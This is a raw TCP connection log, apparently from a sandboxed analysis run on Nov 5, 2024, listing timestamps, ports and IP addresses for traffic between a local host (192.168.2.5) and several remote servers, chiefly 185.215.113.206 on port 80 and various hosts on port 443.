Nov 5, 2024 10:13:54.734455109 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.734741926 CET	50019	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.734755993 CET	443	50019	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.735343933 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.735404015 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.738152027 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.738231897 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.738348961 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.739197016 CET	50018	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.739209890 CET	443	50018	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.744170904 CET	50036	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.744185925 CET	443	50036	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.744438887 CET	50036	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.745270967 CET	50036	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.745282888 CET	443	50036	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.745994091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.746049881 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.746051073 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.746062994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.746093035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.746114969 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.746918917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.746978998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.746989965 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.747016907 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.747030973 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.772332907 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.774966002 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.774977922 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.776387930 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.776392937 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.778795004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778810024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778831005 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778840065 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.778841972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778852940 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778858900 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.778865099 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778881073 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.778915882 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.778923988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778934956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778947115 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.778961897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.778989077 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782120943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782169104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782174110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782179117 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782216072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782278061 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782299042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782310963 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782336950 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782349110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782612085 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782670975 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782680988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782720089 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782742977 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782753944 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782764912 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782764912 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782787085 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782810926 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.782980919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.782994032 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.783004999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.783020973 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.783034086 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.810146093 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.810168028 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.810201883 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.810231924 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.810240030 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.810271025 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.820087910 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820101023 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820121050 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820132017 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820148945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820152044 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.820161104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820178986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.820239067 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.820269108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820282936 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820295095 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820306063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820326090 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820328951 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.820338011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.820348024 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.820383072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.820981026 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821028948 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.821039915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821136951 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821149111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821161032 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.821177006 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.821352959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821363926 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821374893 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821388006 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821398020 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.821408033 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.821429968 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.821968079 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.821997881 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.822048903 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.822048903 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.822092056 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.833436012 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.833499908 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.833558083 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.839302063 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.839328051 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.839359045 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.839382887 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.839425087 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.839989901 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.840001106 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.840140104 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.840157032 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.840188980 CET	443	50013	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.840240002 CET	50013	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.841300964 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.841317892 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.841375113 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.841382027 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.841444016 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.842638016 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.842683077 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.842714071 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.842730045 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.842778921 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.844187021 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.844202042 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.844211102 CET	50022	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.844217062 CET	443	50022	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.847527981 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.847543955 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.847605944 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.847611904 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.847651958 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.847985029 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.848078012 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.849415064 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.849451065 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.849467039 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.849473000 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.849504948 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.849697113 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.849742889 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.850914001 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.850970984 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.850999117 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.851012945 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.851052999 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.851073980 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.851483107 CET	50021	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.851492882 CET	443	50021	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.852096081 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.852161884 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.852170944 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.852264881 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.852457047 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.856309891 CET	50020	443	192.168.2.5	23.47.50.150
Nov 5, 2024 10:13:54.856323957 CET	443	50020	23.47.50.150	192.168.2.5
Nov 5, 2024 10:13:54.858371019 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.858380079 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.858392000 CET	50023	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.858396053 CET	443	50023	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.859508991 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.859519005 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.859530926 CET	50024	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.859535933 CET	443	50024	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.863197088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.863248110 CET	50038	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.863257885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.863259077 CET	443	50038	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.863270998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.863349915 CET	50038	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.863353014 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.863893986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.864183903 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.864231110 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.864242077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.864257097 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.864303112 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.865144014 CET	50039	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.865186930 CET	443	50039	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.865509987 CET	50039	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.867177963 CET	50038	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.867192984 CET	443	50038	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.872291088 CET	50039	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.872306108 CET	443	50039	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.875586987 CET	50040	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.875613928 CET	443	50040	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.877639055 CET	50040	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.878747940 CET	50040	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.878761053 CET	443	50040	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.893932104 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.893992901 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.894217968 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.894232988 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.894366026 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.894376993 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.895435095 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.895704985 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.895718098 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.895910978 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.895975113 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896004915 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896015882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896032095 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896065950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896075010 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896079063 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896090984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896114111 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896270037 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896281004 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896301985 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896312952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896337986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896414042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.896440983 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896662951 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.896687031 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.896748066 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.896851063 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.896970987 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.899333954 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899344921 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899365902 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899430037 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.899430037 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.899472952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899485111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899496078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899508953 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899521112 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.899522066 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899564028 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.899564028 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.899852037 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899893999 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899904013 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.899910927 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.900155067 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.900166988 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.900177956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.900182962 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.900190115 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.900213003 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.900269032 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.910528898 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.911134005 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.911186934 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.912511110 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.912511110 CET	50025	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.912518978 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.912528038 CET	443	50025	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.919442892 CET	50041	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.919470072 CET	443	50041	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.919631004 CET	50041	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.920559883 CET	50041	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:54.920571089 CET	443	50041	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:54.937766075 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.937906981 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.937916040 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.937918901 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938146114 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.938386917 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938397884 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938410044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938421011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938433886 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938446045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938446999 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.938489914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.938489914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.938694000 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938704967 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938745022 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.938802958 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.938837051 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.938932896 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.939013958 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.939026117 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.939070940 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.939070940 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.939284086 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.939449072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.939472914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.940080881 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.940216064 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.940227032 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.940243006 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.940531015 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.950014114 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.950017929 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.950025082 CET	443	50027	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.950033903 CET	443	50028	23.198.7.173	192.168.2.5
Nov 5, 2024 10:13:54.961553097 CET	50042	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.961565971 CET	443	50042	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.961823940 CET	50042	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.961823940 CET	50042	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:54.961843014 CET	443	50042	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:54.980386019 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.980396032 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.980405092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.980484962 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.980496883 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.980505943 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.980506897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.980506897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.980557919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.980557919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.981125116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.981232882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.981241941 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.981251955 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:54.981261969 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.981458902 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:54.996515989 CET	50027	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:54.996551991 CET	50028	443	192.168.2.5	23.198.7.173
Nov 5, 2024 10:13:55.013302088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013317108 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013326883 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013389111 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.013432980 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:55.013452053 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013464928 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013475895 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013487101 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:55.013514996 CET	49934	80	192.168.2.5	185.215.113.206
